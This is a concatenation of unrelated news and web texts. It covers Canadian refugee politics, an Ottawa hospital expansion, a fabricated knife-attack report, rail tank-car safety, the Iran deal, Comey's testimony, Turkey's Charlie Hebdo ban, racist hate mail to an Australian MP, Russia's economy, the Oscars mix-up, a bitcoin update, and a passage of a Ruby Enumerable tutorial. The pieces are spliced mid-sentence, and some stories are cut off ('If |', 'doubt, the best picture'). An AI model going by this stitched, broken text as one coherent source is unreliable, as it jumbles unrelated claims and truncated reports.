Canadians know we can't solve this crisis on our own, or even make more than a dent in it. But they also know we can make a real difference to tens of thousands of fleeing Syrians whose lives have been shattered, and they're determined to do so. Only in the past day or two, shaken by public pressure, has the Prime Minister finally, if grudgingly and perfunctorily, responded. Hooray for election campaigns.
It hasn't helped Mr. Harper's case that – again par for the course – he is not telling the truth about two central aspects of the crisis. First, Canada is nowhere close to having one of the world's most generous refugee and immigrant policies. Second, his insistence that the Syrian refugees are the victims of the Islamic State's depredations is largely false. In fact most have been created by their own miserable government, which shares with Canada and the United States a profound interest in defeating Islamic State.
For all practical purposes, Syrian President Bashar al-Assad, the man most responsible for the refugee crisis, is our de facto partner against the Islamic State. The very least we can do is open our doors to some of those Syrians whom our ally has cruelly brutalized, and it remains the glory of Canadians that whatever Machiavellian political game our government plays, most of us are determined to do exactly that.ctvottawa.ca
The provincial government is pouring $175 million into a major expansion of Ottawa's Heart Institute, anticipating an increase of patients in years to come.
The pre-election announcement comes at a time where the number of heart patients is expected to increase by 30 per cent in the next ten years.
Ontario Premier Dalton McGuinty said the addition to Ontario's only stand-alone cardiac hospital will hold more intensive care beds.
"It's going to ensure people have what they need to stay healthy and greater access to quality service closer to home," he said.
Dr. Robert Roberts, president of the University of Ottawa Heart Institute, said the expansion will house "hybrid operating rooms."
"When the operation is done and the chest is still open, they'll take a picture to see if the valve fits," he said.
One of the people who has benefitted from the hospital is Margaret-Anne MacLoud, who at age 72 said she's feeling the best she has in years.
This comes 18 months after she said she needed open-heart surgery, which happened after three months on a waiting list.
"The hospital uses their facilities 110 per cent, and there's so much research going on there," she said. "There's so many programs that feed into not just the surgery, but into all heart conditions."
The institute is expected to pay ten per cent of the cost of the addition, and add on $5 million for new equipment.
Construction is expected to start in 2014.
With a report from CTV Ottawa's Stefanie MasottiA Niles woman who told police that she had been attacked by a man with a knife has admitted that her injuries were self-inflicted.
Police were called Wednesday to a park near 15th Street and Silverbrook Avenue in Niles.
The 36-year-old woman told police that she was walking near the woodline when she was attacked from behind by a white man wearing a bandanna.
She was taken to the hospital with cuts to her arm and chest.
The victim invited NewsCenter 16's Joshua Short into her home this morning where she showed her wounds, wounds investigators now say were self inflicted.
She spoke about the now-fabricated incident and said she feared for her life.
Evidence technicians found a knife in the wooded area and say this was used by the victim.
An investigation Thursday confirmed officers' suspicions when the woman confessed to falsifying the details of the incident.
The case has been closed and will be turned over to the prosecutor and appropriate assistance agencies.Jean-Pierre Gagnon, a leading expert on the tanker cars involved in the two CN train derailments and fires near Gogama, Ont., says there is "no miracle solution" to preventing catastrophic accidents.
Gagnon, who was Transport Canada's superintendent in charge of rail tank car regulations and standards before being laid off prior to the Lac-Mégantic rail disaster, says even the most heavily reinforced tank car can be breached.
"Accidents can be extremely violent events," says Gagnon, who worked for 30 years with tanker cars and the movement of dangerous goods. "It’s not just a matter of speed, but how the cars pile up, and if there’s a rail pointing out like spear, and the car is at the right angle and goes into it, it’s going to be breached.
"As spectacular as these accidents are, the cars might have done their job."
The DOT-111 tanker cars involved in the Lac-Mégantic fire are being phased out, but the industry standard is an upgrade that Gagnon worked on — the CPC-1232 tanker — the type used in both Gogama accidents on Feb. 14 and March 7. More than 110,000 litres of crude oil can be carried per car, and more than four million litres has escaped during the two accidents, either burning or leaking into the environment.
The changes that led to the CPC-1232 tanker were incremental, said Gagnon, and influenced by past recommendations by Canada's Transportation Safety Board and its American equivalent. New standards are in the process of being completed, he added, but that is the way Transport Canada has historically worked.
"Accidents drive change," said Gagnon, who had feared a Lac-Mégantic-like disaster and was not totally surprised when it happened. "You can't make changes to 100,000 tank cars based on potential problems."
New tanker car standards coming within months
New standards for tanker cars carrying crude oil are due by May 12 in the U.S., which usually works in conjunction with Canada on standards, said American tanker car expert Jim Rader. But even with new standards coming in, he said, the problem will be turning over the current fleet of tanker cars.
"Most manufacturers today are already building a 9/16-inch-thick car with jackets and thermal protection," said Rader, who has worked with tanker cars for more than 40 years and is now a senior vice-president with Watco Apply Change Services. "We're pretty confident we know what the final rules are going to be.
"What we don’t know is how do you handle the existing fleet?"
Not all the existing cars are easily retrofitted — adding extra safety measures might make them too long, high or wide. And if the Canadian and U.S. authorities mandate that all cars must meet the new standard in three years, "it cripples the economy," said Rader.
If the governments allow a 10-year timetable to replace the fleet, that is "likely too long. Somewhere in between is ideal, and people in the industry hope it will be a phased-in retrofit period, retrofitting the high-risk cars first, and then the ones less of a concern.
"We don’t know how it will unfold. We need a crystal ball."
Other safety measures
Gagnon said the knee-jerk reaction is that the tank cars should be made safer by making the steel walls thicker, as thick as the ones that carry propane.
"You need to understand how they work in a fire, which is almost another science in itself," said Gagnon. "On the other hand, maybe we need to focus more on other parts of the equation — preventing accidents or derailments, or make sure their violence is reduced."
He suggests reducing the speed of trains, better braking systems, and more emphasis on the condition of the track and maintenance of the cars.
If you have any tips on this or other stories, please contact John Nicol.President unlikely to certify pact this week, triggering complex battle in Congress and Europe over ultimate fate of agreement
If Donald Trump decides this week to withdraw his endorsement of the 2015 Iran nuclear deal, its fate and the potential for a major conflict will be determined by a complex battle in Congress.
No one is able to predict whether that struggle will lead to a reimposition of US sanctions, the collapse of the agreement and the rapid scaling-up of Iran’s nuclear programme. It could result in a compromise that leaves the deal alive but opens the way for a more combative policy towards Tehran on other fronts.
Trump's tough talk on Iran could end in a big, blame-evading dodge | Joe McLean Read more
“We are on a tightrope. We don’t know what will happen,” a western diplomat said.
The congressional contest will pit most Republicans against almost all Democrats, hawks against doves, and will be played out under rules drawn up for a completely different set of circumstances.
The Iran Nuclear Agreement Review Act (INARA) of 2015 was designed for a situation in which Iran was breaking the international agreement signed in July of that year, and a US administration was trying to cover up Tehran violations as a means of preserving the accord.
The actual situation is one in which Iran is agreed by all signatories, including the US, to be abiding by its obligations, but the US president appears determined to kill off the deal regardless. To add another level of complication, neither the Republican majority nor the president wants to be seen as the assassin that inflicts the death blow.
Trump says he has made his decision and an announcement is expected on Thursday or Friday. Most signs are that he will not certify the deal, the Joint Comprehensive Programme of Action (JCPOA).
The president has changed his mind at the eleventh hour before and the UK has not given up. In a telephone call with Trump on Tuesday, British prime minister Theresa May “reaffirmed the UK’s strong commitment to the deal alongside our European partners, saying it was vitally important for regional security”, Downing Street said.
The British foreign secretary Boris Johnson insisted the UK regarded the deal as an historic achievement that had made the world a safer place. He reiterated this in calls with the US secretary of state Rex Tillerson and the Iranian foreign minister Javad Zarif.
If such last-ditch appeals fall flat and Trump washes his hands of an agreement he has called “the worst deal ever negotiated”, INARA gives Congress 60 days to decide whether to reimpose sanctions.
Donald Trump’s demonisation of Iran is dishonest and dangerous | Michael Axworthy Read more
The vote can be passed in the Senate by 51 votes. The Republicans have 52 seats.
The Republicans have historically been hostile to Iran and multilateral agreements, but these are not normal circumstances. The party leadership in Congress does not want to be landed with a decision it thinks the president should make, taking up time it would prefer to go to tax cuts.
The picture is made muddier still by a bizarre exchange of insults between Trump and the Republican chair of the Senate foreign relations committee, Bob Corker.
Europe’s conundrum
For European diplomats, a lot will depend on Trump’s words and tone. The worst-case scenario would be a vituperative denunciation or an ultimatum to Iran to renegotiate – an option that Tehran, Moscow and Beijing have rejected – coupled with a challenge to Congress to reimpose sanctions.
“It’s hard to imagine a world where the administration signals that it’s going to decline to certify and it would like to see the reimposition of some or all sanctions – and Congress not acting,” said Richard Fontaine, the president of the Centre for a New American Security. “From a Republican point of view, would you want to take a position against the reimposition of Iran sanctions on the Hill, only to see the president do it anyway?”
Play Video 0:39 Trump’s cryptic warning ahead of Iran decision: ‘The calm before the storm’ – video
The renewal of sanctions would be a nightmare for the three European signatories – the UK, France and Germany – and for the EU, which acted as midwife for the agreement. All say they will stick by their obligations.
“We signed that deal and the [UN] security council endorsed it. The world took Americans’ word for what it was,” Germany’s ambassador to Washington, Peter Wittig, told the Guardian. “To unravel that would jeopardise US credibility and also the credibility of the west in the world.”
Wittig stressed that Berlin and other European capitals share US concerns about Iran’s missile programme, its role in Syria and Iraq and in sponsoring militants. “We agree on the need to confront Iran in the region, so let’s spit it out,” he said. “Let’s talk about a concerted strategy … on how to deal with Iran.”
Other European diplomats have said there is no sign of such a policy from the administration, which they say seems determined to take out on the JCPOA frustrations over its inability to curb Iranian influence in the region.
If the US walked out on the deal, it is unclear whether Europe could keep faith with it, even if it wanted to. Regulations dating back to 1996, aimed at preventing European companies from complying with US sanctions that run counter to EU foreign policy, have never been properly tested. Faced with a choice between doing business in Iran and in the US, the big European firms are unlikely to hesitate. It would be hard for the EU to punish them.
“The worst scenario we’ll get into is one where there is not enough pressure to force Iran to make concessions, but enough pressure to make them say this agreement isn’t working for us and reconsider the nuclear restrictions that are in place,” said Richard Nephew, a former principal deputy sanctions coordinator at the state department.
If Trump gives a thumbs-down, the best the deal’s supporters can hope for is that he does not call directly for new sanctions, while his secretaries of defence and state, who support the agreement, work with Congress to find a compromise. Part of such a fix would involve a modification of INARA so Trump is not asked to endure the humiliation of approving his predecessor’s agreement every 90 days.
Opponents are unlikely to give up. Instead, they are expected to mount one assault after another in Congress, goading Tehran to walk away. The deal could outlive the immediate crisis, but it will not be secure as long as its greatest detractor remains in the White House.At the moment, on May 9th, when President Trump abruptly fired the F.B.I. director James Comey, Trump was not under investigation. He very well may be under investigation now.
That was the key revelation in three astonishing hours of American political history, in which Comey, a calm, confident, aggrieved witness before the Senate Intelligence Committee, accused the White House of “lies, plain and simple,” faulted Trump for trying to conceal an improper request, and left no doubt that, in Comey’s view, the facts will eventually demonstrate that the President tried to obstruct a criminal investigation of Trump’s close associate Michael Flynn. It was worth pausing to distinguish how truly rare this instance is: this was not a political partisan tossing off a criticism of a rival; this was a career prosecutor, who served Republican and Democratic Presidents, presenting a time line of specific statements from the President that he described as either untrue or potentially criminal.
From his opening words, Comey made clear that, as a private citizen, he is no longer confined to the narrow, self-edited comments that defined his years at the Justice Department and the F.B.I. He delivered an opening statement that offered a full-throated defense of the thirty-five thousand men and women at the F.B.I., in effect calling on them, from beyond the professional grave, to carry on their work without fear of White House intimidation. Comey also bluntly framed the Trump White House as a duplicitous agent of political obfuscation. Of his firing, Comey said, “The Administration chose to defame me and, more importantly, the F.B.I. by saying the organization was in disarray, that it was being poorly led, that the workforce had lost faith in its leader. Those were lies, plain and simple.”
It will take days to flesh out each of Comey’s feast of offerings, including his claim that the former Attorney General Loretta Lynch told him to call the Hillary Clinton e-mail probe a “matter,” which the campaign preferred, rather than an “investigation”; that Trump’s tweet about the possibility of White House “tapes” inspired Comey to leak memos of his conversations with the President, in order to protect himself (“Lordy, I hope there are tapes,” he said); and that the sitting Attorney General, Jeff Sessions, may be under scrutiny for Russian contacts beyond those that he has acknowledged. In total, Comey’s testimony left a disturbing portrait of the ways that federal law enforcement is threatened, if not always successfully, by the risk of political influence and obfuscation.
But what will matter most in the months of grinding investigation to come is what Trump said and did in his efforts to thwart the investigation of Flynn, his campaign loyalist, who was fired for lying about contacts with the Russian Ambassador. Less than ten minutes into the hearing, the central issue became clear. The committee’s chairman, Richard Burr, a Republican from North Carolina, asked Comey about his conversation with Trump in the Oval Office on February 14th. According to Comey’s notes of the meeting, the President said, “I hope you can see your way clear to letting this go, to letting Flynn go. He is a good guy. I hope you can let this go.” Burr asked Comey, a former prosecutor, if he thought Trump had sought to obstruct his work.
“I don’t think it’s for me to say whether the conversation I had with the President was an effort to obstruct,” he replied, adding, “I took it as a very disturbing thing, very concerning. But that’s a conclusion I'm sure the special counsel will work towards to try and understand what the intention was there and whether that’s an offense.”
That Comey is “sure” the special counsel, Robert Mueller, will try to answer the question bespeaks a range of potential criminal outcomes. Obstruction of justice is a federal crime, though no President has ever been charged with it. In the cases of Richard Nixon and Bill Clinton, the Justice Department ultimately decided not to pursue charges, but the process of investigating the accusations produced underlying facts with vast consequences: they gave rise to congressional proceedings that laid the grounds for impeachment.
There are other potential courses for prosecutors to take: after Comey discussed his belief that Trump was trying to draw him into a “patronage” relationship, Charlie Savage, who covers the law for the Times, wrote, “A former federal prosecutor texted me that the patronage quid pro quo stuff could be a separate crime: trading an official act (keeping public job) for private gain—like the former Illinois governor Rod Blagojevich and Obama’s vacated Senate seat.”
Over and over, Comey mentioned the importance, in his mind, of the fact that Trump had asked other senior officials to leave the Oval Office before he made the request. Asked why the public should believe him, Comey held his credibility up to the President’s and, in effect, asked Americans to judge them. “I think people should look at the whole body of my testimony.... Take it all together, and I’ve tried to be open and fair and transparent and accurate. A really significant fact to me is, Why did he kick everybody out of the Oval Office? Why would you kick the Attorney General, the President, the chief of staff out to talk to me if it was about something else? And so that, to me, as an investigator, is a very significant fact.”
The hearing also revealed an important distinction that Republicans are likely to maintain in trying to defend the President. Jim Risch, a Republican from Idaho, emphasized that Trump had used the word “hope” in discussing the prospect of killing the Flynn investigation. Trying to get Comey to acknowledge that this was short of a direct order, Risch asked if Comey knew of anyone who had ever been prosecuted “for hoping something.”
Comey replied, “I took it as a direction. I took it as, ‘This is what he wants me to do.’ ”
It is a remarkable measure of where the President stands, less than five months into his term: his party is seeking to defend him on the basis that his secret plea to the F.B.I. director, to abandon an investigation of a friend, did not rise to the level of an explicit order.
House Speaker Paul Ryan, in a separate appearance shortly after Comey’s comments, tried to define downward what the President is expected to understand about the law. He told reporters that Trump “wasn’t steeped in the long-running protocols” of what is appropriate in terms of discussions with the F.B.I. director. As a bulwark against disgrace, it’s a narrow spit of dry land—the “stupidity defense,” as Nicolle Wallace, a Republican commentator who is critical of the President, said on NBC.
After the hearing, Trump’s personal lawyer Marc Kasowitz e-mailed reporters a statement that effectively accused Comey of lying under oath: “The President also never told Mr. Comey, ‘I need loyalty, I expect loyalty’ in form or substance.” The statement also said that Trump never “directed or suggested” that Comey stop any investigation.
Wittingly or not, Trump’s team was setting up a public showdown of credibility between the President and his former F.B.I. director. The statement is a remarkable measure of the Administration’s seclusion from the events that are engulfing it. Comey’s testimony revealed the encounters between a skilled, sometimes pedantic student of the Constitution and an amateur with no moral governor and no prudent counsel. Whether or not Trump can be charged, or convicted, of a statutory offense will depend on the arguments of lawyers on both sides, but it’s now clear that Trump used the office of the President in ways that some Republicans, such as Susan Collins, find unacceptable. Collins, of Maine, said, “The President never should have cleared the room, and he never should have asked you, as you reported, to let it go, to let the investigation go.”
Comey’s testimony may mark the moment when Trump’s biggest legal risk shifted from the nature of his campaign’s links to Russia to the nature of his own actions to prevent investigation of those links. As I’ve written, the path to impeachment is not a legal and judicial process; it’s a political process—defined by the judgment of members of Congress, who decide when the President has lost the confidence of the public, because of his judgment or his ability to tell the truth or his capacity to operate the levers of government. By any measure, Trump took a step in that direction today.Story highlights Turkish deputy PM calls publishing pictures of Mohammed "open incitement and provocation"
A newspaper that published parts of Charlie Hebdo was blockaded by police, got death threats
Protesters were arrested in front of Cumhuriyet's offices, CNN Turk reports
(CNN) A Turkish court Wednesday banned website pages that show the new cover of Charlie Hebdo, the country''s semiofficial news agency Anadolu reported. A newspaper that included images of the cover received death threats.
The developments came as Deputy Prime Minister Yalcin Akdogan wrote on Twitter, "Those who are publishing figures referring to our supreme Prophet are those who disregard the sacred." Such a move is "open incitement and provocation," he added.
Turkey is home to 82 million people, 99.8% of whom are Muslim, according to the CIA World Factbook.
The French satirical publication Charlie Hebdo's new cover contains what it calls a caricature of the Prophet Mohammed holding a sign saying "Je suis Charlie." The caption says "All is forgiven" in French.
It comes a week after Islamist terrorists killed 12 people at the paper's offices.
Read MoreTHE first Aborigine likely to be elected to the House of Representatives has received hate mail from people who said they would not have voted for him if they had known he was indigenous.
Mr Wyatt, 58, destined to be the first Aborigine to be elected to the House of Representatives, said his near-certain triumph in WA's ultra-marginal seat of Hasluck had been tarnished by a racist backlash.
The upset Liberal candidate said his office had received at least 50 emails and telephone calls from angry voters who accused him of only being interested in indigenous issues.
He also endured racist abuse while walking through Guildford in his electorate, with one man calling him "Uncle Tom Wyatt" on Thursday. Mr Wyatt was with his 28-year-old son Aaron at the time.
"It's a term used to describe a person who has sold out and denied their cultural heritage," Mr Wyatt said. "My son asked me what it meant. I just said 'Don't worry about it, it's a derogatory term'.
"It just surprised me that he used that term. I wouldn't expect it in this day and age."
But it's the mail and phone calls that have surprised and hurt him most.
"I am surprised at some of the hate mail," he said.
"Some said 'Wouldn't know you were indigenous - we wouldn't have voted for you if we did'.
"And yet it was out there in the media all the time (that I was an Aborigine). It was on one of my flyers.
"After all the work that the Australian Government has done, I am surprised there are still individuals who hold these strong views and are prepared to commit (them) to writing."
Ironically some of the criticism levelled at Mr Wyatt this week has come from Aborigines.
"Three Aboriginal people wanted to know why I had joined a racist party," he said. "That's not true at all."
Mr Wyatt said he stood for more than Aboriginal issues.
"I stand for all political persuasions and all culturally and linguistically diverse groups in Hasluck," Mr Wyatt said.
"I am proud of my heritage and absolutely exhilarated at being the first indigenous candidate in the House of Representatives, but for me it is about Hasluck and the people of Hasluck.
"I intend standing up for everyone in the party room and in the House, and I am going to stand up for WA."
The Liberal candidate has not been officially declared the winner of last Saturday's contest over Labor's Sharryn Jackson. But with nearly 91 per cent of the votes counted, Mr Wyatt leads by 856 votes.Labor state secretary Simon Mead said that with nearly 3000 postal votes yet to be counted, Ms Jackson would not be conceding defeat.
Prior to contesting Hasluck, Mr Wyatt was the director of Aboriginal Health within the WA Department of Health. He received the Order of Australia in 1996 and the Order of Australia Centenary Medal in 2003.
Mr Wyatt plans to fly to Italy in December to marry long-time partner Anna-Marie Palermo.Russia's economy has adjusted relatively well to lower oil prices thanks in large part to the ruble, which has tracked oil's fortunes since 2014. But if oil falls below $30 for an extended period, then all bets are off and Russia's economy will be in for a prolonged recession.
The investment research arm of Sberbank, Russia's largest lender, warned that if oil does average under a $30 per barrel, then Russia's budget deficit easily widens to around 3.5 trillion to 3.9 trillion rubles, or around $48.7 billion. Government expenditures are budgeted at around 16 trillion rubles. In a sub-30 oil scenario, the Russian government will be forced to cut its budget by 10% in order to reduce the deficit, according to Sberbank CIB.
Russia's federal government remains highly solvent. The country is run by a bend-don't-break mentality in the economic policy centers. Western sanctions have helped prolong a recession. Oil just made it worse.
Last year, Russian government accounts declined by around 900 billion rubles. But the Finance Ministry held 250 billion rubles on deposits with banks as of January 1, as well as some more cash not spent in 2015.
Investors have told FORBES that lifting of sanctions on Russian energy and finance will be a boon for sentiment, but won't translate into economic growth overnight.
"We're basing our Russia scenarios on some sanction relief this year, but I wouldn't count on it being an economic miracle worker," says Deborah Medenica, a fund manager for Alger in New York. "It's still a very big consumer market, one of the biggest in Europe. There's a lot of good companies in Russia that have become more self-reliant because of sanctions," she points out.
Sberbank said they saw "no threats to fiscal stability" this year, as the government has some room to maneuver. Despite the contraction of government accounts heading into 2016, Russia still has nearly $50 billion in its emergency Reserve Fund and over $70 billion in their National Wealth Fund, a sovereign wealth vehicle used to help Russia's international firms that have been shut out off low-rate finance in Europe and the United States.
The government has the ability to borrow, at least locally.
If |
doubt, the best picture winner is held up by Moonlight's producer
"I want to tell you what happened I opened the envelope and it said Emma Stone, La La Land and that is why I took
such a long look at Faye and at you," he said.
However, the mystery behind the error deepened when Stone later said she was holding her card the whole time.
"I was holding my best actress in a leading role card the entire time. I don't mean to start stuff but whatever story that was - I have that card," she told reporters backstage.
"So I'm not sure what happened and I really wanted to talk to you guys first."
:: Gaffe reaction: 'Russia just hacked the Oscars'
Emma Stone on the Best Film Oscar cock up
Accountants from PwC, the firm that counts the 7,000 votes and is in charge of the famed suitcases containing the winning envelopes, later apologised for the blunder.
"We are currently investigating how this could have happened, and deeply regret that this occurred," the firm tweeted.
Envelope keepers Brian Cullinan and Martha Ruiz, who both have identical cases filled with the 24 winning envelopes which they each give out at either side of the stage, were forced to intervene on stage amid the confusion.
Image: Winning envelope keeper Martha Ruiz holding a sealed 'best picture' envelope. Pic: PwC
Image: PwC tweeted an apology over the Oscars mix-up
Moonlight director Barry Jenkins eventually went on stage to accept the award.
"Very clearly even in my dreams this can't be true. But to hell with it because this is true. It's true, its not fake."
While the La La Land crew exited the stage, Jenkins thanked them, saying: "We have been on the road with these guys and it was so gracious and so generous of them."
Jenkins later said he had "seen two cards", and that he "wanted to see the card and Warren refused to show it to anybody before he showed it to me".
Oscars host Jimmy KImmel looked stunned as the scene played out.
"Well, I don't know what happened," he said. "I blame myself. It's just an awards show... I knew I would screw this show up, I really did... I promise I'll never come back!"
Talk show host Ellen DeGeneres tweeted: "Nothing like live TV". "Congrats to Moonlight! And to La La Land for such a gracious reaction."
Nothing like live TV. Congrats to Moonlight! And to La La Land for such a gracious reaction. #Oscars — Ellen DeGeneres (@TheEllenShow) 27 February 2017
Oh well it was fairly boring until that jaw dropping turn of events #Oscars — AmyHitchcock (@AmyHitchcockSky) February 27, 2017
Sky's Entertainment Correspondent Katie Spencer, on the red carpet at the Vanity Fair Oscars afterparty, said: "We are still in shock here. It was the most horrible, bizarre, jaw-dropping end to any Oscars that I've certainly seen.
"Best picture is the big prize of the evening. The one that everyone tunes into. It really overshadows everything that went before it. It is just utterly horrific to watch that unfolding," she explained.
"Very awkward and very embarrassing for the Academy."
Damien Chazelle's celebrated musical, which was up for a record-tying 14 nominations, took home six awards.
Moonlight, with three wins - best supporting actor, best adapted screenplay and best picture - made just over $22m (£17m) in the US box office.Markets Update: With Bitcoin's Rise the Altcoin Dominance Index Suffers
Since bitcoin’s significant price rise, altcoins have been brushed off to the side as bitcoin’s dominance climbed to 87.4 percent. Altcoin interest has waned as each alternative digital asset has lost market capitalization over the past two months. There are various reasons.
Also read: Bitcoin Blows Past $808 With No Sign of Heartbreak
All Eyes Focused on Bitcoin
Let’s face it: all eyes are on bitcoin’s price movements at the moment. A couple of years ago, altcoins were all the rage as a bearish price decline brought bitcoin to the sub-$200s. Now, as the price of bitcoin increases drastically, many altcoins are suffering from a price decline and lack of interest. This is a stark contrast to the 2013 price rise when some altcoins — most notably Litecoin — received a value lift from bitcoin’s increase. This time cryptocurrencies such as Ethereum, Dash, and others have seen their markets drop in value.
The top ten cryptocurrencies in the digital asset space have held their positions for quite a few months. Many of them still hold significant value and some believe these tokens offer something bitcoin cannot provide. Monero has done well for itself hovering at around $9 per XMR and is gripping the 5th highest market capitalization. This is due to people speculating on its development of anonymity features and its current black market acceptance. However, the trend of concentration towards bitcoin is very noticeable. For instance, today one commenter on Bitcointalk.org asked: “It seems as a whole most of the major altcoins have been declining in value recently. What will reverse this trend?”
Another community member acknowledges the trend stating:
Since there is currently a price surge happening in bitcoin, expect most crypto traders are active in bitcoin since they don’t want to miss the train. So just wait until there is bearish activity in bitcoin that will lead to a correction in price. In most cases, when bitcoin was on the pumping scene expect some slow price movements in alts and sometimes resulting in so much dip.
Can an Altcoin Hold Value in the Future?
Certainly, there is a lot of development in the altcoin space, and many projects are testing new features. Litecoin plans on testing the soft fork Segregated Witness before bitcoin. Ethereum has released a new version of the Geth client with its Swarm alpha implementation. With Swarm, the Ethereum network hopes to become more of a Web 3.0 rather than just a cryptocurrency. These features attribute to many people believing in the merits of some altcoins sticking around for the long haul.
Even though some altcoins have merit as experiments, many people are skeptical of their usefulness. Not one altcoin network has the sizable infrastructure bitcoin has, and many just use these coins to day-trade. This past September the bitcoin-based payment processor Bitwala wrote a notable blog post exclaiming “nobody uses” altcoins. The company explained the harsh reality by referencing the company’s numbers of processing volumes. Bitwala explained in its recent blog post:
So here’s our experience with Altcoins: Nobody is using them!
Bitcoin Remains Dominant and Some Believe it Always Will
Bitcoin remains the dominant cryptocurrency for the time being, and there’s little to show this will change anytime soon. Currently, as bitcoin climbs to an all-time record high in three years and breaks the $14 billion market capitalization, it will be harder for altcoins to compete. Most altcoins are uninteresting forks of bitcoin merely designed to pump and dump.
Other crypto-tokens may have use cases in the future, but bitcoin’s significant lead has trumped thus far. And there are also some bitcoin community members such as Paul Sztorc, and Daniel Krawisz who believe altcoins will never be useful. Krawisz explained in his editorial titled “The Problem with Altcoins” stating:
“The Bitcoin community is not just overwhelmingly larger but of overwhelmingly better quality as well. Bitcoin is surrounded by real entrepreneurs working hard to create new and useful services for Bitcoin,” wrote the Satoshi Nakamoto Institute founder. “Altcoins are surrounded by loud-mouthed pretenders with irrational hopes of duplicating Nakamoto’s success. This does not mean that there is anything intrinsically wrong with altcoins: the problem is simply that once Bitcoin exists, then there is no additional value, from a monetary standpoint, of creating knock-offs.”
What do you think about the lack of interest in the altcoin index? Do you think altcoins will compete or complement the bitcoin network? Let us know your opinions in the comments below.
Images courtesy of Coinmarketcap.com, Bitwala, and Pixabay.
There are no bigger Bitcoin believers than the Bitcoin.com team. That’s why this site is a one-stop-shop for everything you need to get into bitcoin life. A Bitcoin store? Check. Earning bitcoin? Check. Forum discussions? Check. A casino? Yep, we have that too. Prices and statistics? Also here.Functional enumerators in Ruby
Oct 12, 2015 Christopher Moeller
Functional enumerators in Ruby
Ruby is a beautifully designed object-oriented programming language with heritage in Smalltalk, Perl, and Lisp among others. People are attracted to many different features in Ruby: almost everything in Ruby is an object, we have terse constructs for iterating through collections, and it's friendly to beginners and experts alike. One of the reasons people love programming in Ruby is the Enumerable module. While developers can loop though collections using more traditional constructs like for and while loops, idiomatic Ruby typically uses the methods found in Enumerable.
Enumerable adds a lot of methods to the class where it's included, and all of these methods are based on the each method. I've read (and also written) a lot of iterative code using each when there's a more elegant, explicit, and performant method that I could have used. Using the Array and Range classes as examples, I'll start with a brief overview of each and map and conclude with an overview of reduce.
What makes some of the iterators functional?
One of the many principles of functional programming is higher order functions. For a function to be a "higher order" function, it needs to either receive a function as an argument or return a function as the return value. The main idea is using functions as values.
In JavaScript we call these "anonymous functions" while in Ruby we call them lambdas and procs. In most functional languages I've surveyed and explored, they're just called lambdas. It's outside the scope of this post to go into detail on lambdas and procs in Ruby but there are a ton of great resources online that explain what they are and how to use them.
Now that we understand why some of Enumerable's iterators are functional, let's look at how to use them in our code.
Iterating with each
As I mentioned, Ruby allows developers to iterate through collections with traditional, imperative-style constructs like while and for. For example, using a Range with for :
$ irb irb ( main ): 001 : 0 > for n in 0.. 5 irb ( main ): 002 : 1 > puts n + 1 irb ( main ): 003 : 1 > end 1 2 3 4 5 6 => 0.. 5
We have a range of integers from 0 to 5 and we print each number plus 1 to the console. This works just fine. This is how we would get the same result using each :
$ irb irb ( main ): 001 : 0 > ( 0.. 5 ). each do | n | irb ( main ): 002 : 1 * puts n + 1 irb ( main ): 003 : 1 > end 1 2 3 4 5 6 => 0.. 5
This does the exact same thing as the code with for : we print the values of every element in the collection incremented by 1. So why do many Rubyists say using each is better than for? Personally, I think it has to do with the mindset of the developer. Using each makes me think more about what I want the computer to do and less about how I want it to perform the operation. Thinking about the result I want creates a layer of abstraction so I can focus on the bigger picture of my current task.
This additional layer of abstraction can be shown by using another one of Enumerable's methods: map.
Using Enumerable's map
We can print each value of an array with each, but what if we wanted to save these incremented values into a new array? We know we should use each to iterate of the collection instead of for, so let's take a look at one approach to saving the incremented values using each :
$ irb irb ( main ): 001 : 0 > incremented = [] => [] irb ( main ): 002 : 0 > ( 0.. 5 ). each do | n | irb ( main ): 003 : 1 * incremented << n + 1 irb ( main ): 004 : 1 > end => 0.. 5 irb ( main ): 005 : 0 > incremented => [ 1, 2, 3, 4, 5, 6 ]
This works. We start with a variable to hold our new collection ( incremented ), iterate through each number in the range, and append each incremented number to the new array. However, in writing this example I found myself caught in the details of performing each step of the task instead of simply requesting the result I wanted: an array of incremented integers. From the world of functional programming, Enumerable provides map (also aliased as collect ) to better manage this:
$ irb irb ( main ): 001 : 0 > incremented = ( 0.. 5 ). map do | n | irb ( main ): 002 : 1 * n + 1 irb ( main ): 003 : 1 > end => [ 1, 2, 3, 4, 5, 6 ]
The result of calling map on the collection is exactly what we're looking for. In this case we save it to the incremented variable. Also, as Enumerable is tuned for better performance, we get those benefits for free. I don't care how the computer creates this new Array, I just care that each value is incremented by 1.
Using map also has a more succinct way of expressing this operation using Symbol#to_proc and Fixnum's succ method (you can also use next if you prefer):
$ irb irb ( main ): 001 : 0 > incremented = ( 0.. 5 ). map ( & :succ ) => [ 1, 2, 3, 4, 5, 6 ] irb ( main ): 002 : 0 > %w(foo bar baz). map ( & :capitalize ) => [ "Foo", "Bar", "Baz" ]
In case you haven't seen it yet, you can use the unary & operator with a symbol as the method name to call on each member of the collection. I won't go into the details here but you can check out the Symbol#to_proc documentation. (Keep in mind this only works if every element in the collection responds to the method. Otherwise you'll get a NoMethodError.)
This is pretty great! We can take a collection and easily create another collection with some modified values. In the same vein of map, Enumerable provides find, select, reject, etc. All are ways of building new collections from an existing collection and applying the same method to each of the collection's elements.
Sometimes we don't want a new collection, though. Instead, we want a singular value back. Ruby again borrows from the functional programming world again to provide reduce (aliased as inject ): we take a collection and reduce all of it's values into a single value. Let's take a look at it.
Using reduce
I'll start with an example:
$ irb irb ( main ): 001 : 0 > ( 0.. 5 ). reduce { | accumulator, n | accumulator + n } => 15 irb ( main ): 002 : 0 > ( 0.. 5 ). reduce ( 0 ) { | accumulator, n | accumulator + n } => 15 irb ( main ): 003 : 0 > ( 0.. 5 ). reduce ( & : + ) => 15 irb ( main ): 004 : 0 > ( 0.. 5 ). reduce ( 5, & : + ) => 20
Here we take the same range we've been using 0..5 and add all of its numbers together to produce a single integer: 15. Let's look into the first example with the block a bit more: (0..5).reduce { |accumulator, n| accumulator + n }.
In this form, reduce doesn't take any arguments except the block. The block must declare an accumulator variable (I usually call it acc but opted for the more descriptive accumulator name in this case) and a variable for the member of the collection for each iteration, n in this case. reduce then sets the value of accumulator to the result of the block, in this case adding the current value of accumulator to n. This happens until all the values in the collection have been reached.
In the second form of the method (when 0 is passed to reduce ), 0 is the initial value for accumulator, which is why the result is the same as the example above it.
The last two forms use the more terse (and I'd argue more readable) Symbol#to_proc syntax, one without explicitly setting the accumulators initial value and one with setting the initial value to 5.
Here's another way to get the same result using each :
